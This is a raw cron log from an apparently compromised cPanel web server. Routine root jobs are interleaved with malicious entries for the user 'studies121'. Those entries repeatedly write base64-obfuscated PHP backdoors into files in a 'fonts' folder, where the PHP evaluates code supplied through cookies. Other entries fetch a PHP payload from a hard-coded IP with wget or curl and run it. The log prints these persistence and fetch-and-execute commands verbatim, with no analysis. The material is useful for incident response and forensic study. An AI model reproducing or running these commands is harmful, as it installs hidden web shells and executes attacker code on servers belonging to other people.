Sep  2 01:20:01 ip-184-168-122-23 CROND[20390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:20:01 ip-184-168-122-23 CROND[20387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:21:01 ip-184-168-122-23 CROND[20495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:21:01 ip-184-168-122-23 CROND[20497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:21:01 ip-184-168-122-23 CROND[20498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:21:01 ip-184-168-122-23 CROND[20500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:22:01 ip-184-168-122-23 CROND[20592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:22:01 ip-184-168-122-23 CROND[20594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:22:01 ip-184-168-122-23 CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:22:01 ip-184-168-122-23 CROND[20598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:22:01 ip-184-168-122-23 CROND[20599]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:23:01 ip-184-168-122-23 CROND[20765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:23:01 ip-184-168-122-23 CROND[20767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:23:01 ip-184-168-122-23 CROND[20768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:23:01 ip-184-168-122-23 CROND[20769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:24:01 ip-184-168-122-23 CROND[20849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:24:01 ip-184-168-122-23 CROND[20852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:24:01 ip-184-168-122-23 CROND[20854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:24:01 ip-184-168-122-23 CROND[20853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:24:01 ip-184-168-122-23 CROND[20851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:25:01 ip-184-168-122-23 CROND[20948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:25:01 ip-184-168-122-23 CROND[20950]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:25:01 ip-184-168-122-23 CROND[20951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:25:01 ip-184-168-122-23 CROND[20952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:25:01 ip-184-168-122-23 CROND[20953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:25:01 ip-184-168-122-23 CROND[20955]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:26:01 ip-184-168-122-23 CROND[21039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:26:01 ip-184-168-122-23 CROND[21041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:26:01 ip-184-168-122-23 CROND[21040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:26:01 ip-184-168-122-23 CROND[21044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:26:01 ip-184-168-122-23 CROND[21046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:27:02 ip-184-168-122-23 CROND[21143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:27:02 ip-184-168-122-23 CROND[21144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:27:02 ip-184-168-122-23 CROND[21146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:27:02 ip-184-168-122-23 CROND[21148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:28:01 ip-184-168-122-23 CROND[21317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:28:01 ip-184-168-122-23 CROND[21320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:28:01 ip-184-168-122-23 CROND[21319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:28:01 ip-184-168-122-23 CROND[21321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:28:01 ip-184-168-122-23 CROND[21322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:29:01 ip-184-168-122-23 CROND[21425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:29:01 ip-184-168-122-23 CROND[21427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:29:01 ip-184-168-122-23 CROND[21428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:29:01 ip-184-168-122-23 CROND[21429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:30:01 ip-184-168-122-23 CROND[21515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 01:30:01 ip-184-168-122-23 CROND[21518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:30:01 ip-184-168-122-23 CROND[21521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:30:01 ip-184-168-122-23 CROND[21520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:30:01 ip-184-168-122-23 CROND[21523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 01:30:01 ip-184-168-122-23 CROND[21519]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 01:30:01 ip-184-168-122-23 CROND[21527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 01:30:01 ip-184-168-122-23 CROND[21526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:31:01 ip-184-168-122-23 CROND[21626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:31:01 ip-184-168-122-23 CROND[21628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:31:01 ip-184-168-122-23 CROND[21627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:31:01 ip-184-168-122-23 CROND[21629]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 01:31:01 ip-184-168-122-23 CROND[21630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 01:32:01 ip-184-168-122-23 CROND[21720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 01:32:01 ip-184-168-122-23 CROND[21723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 01:32:01 ip-184-168-122-23 CROND[21722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 01:32:01 ip-184-168-122-23 CROND[21724]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
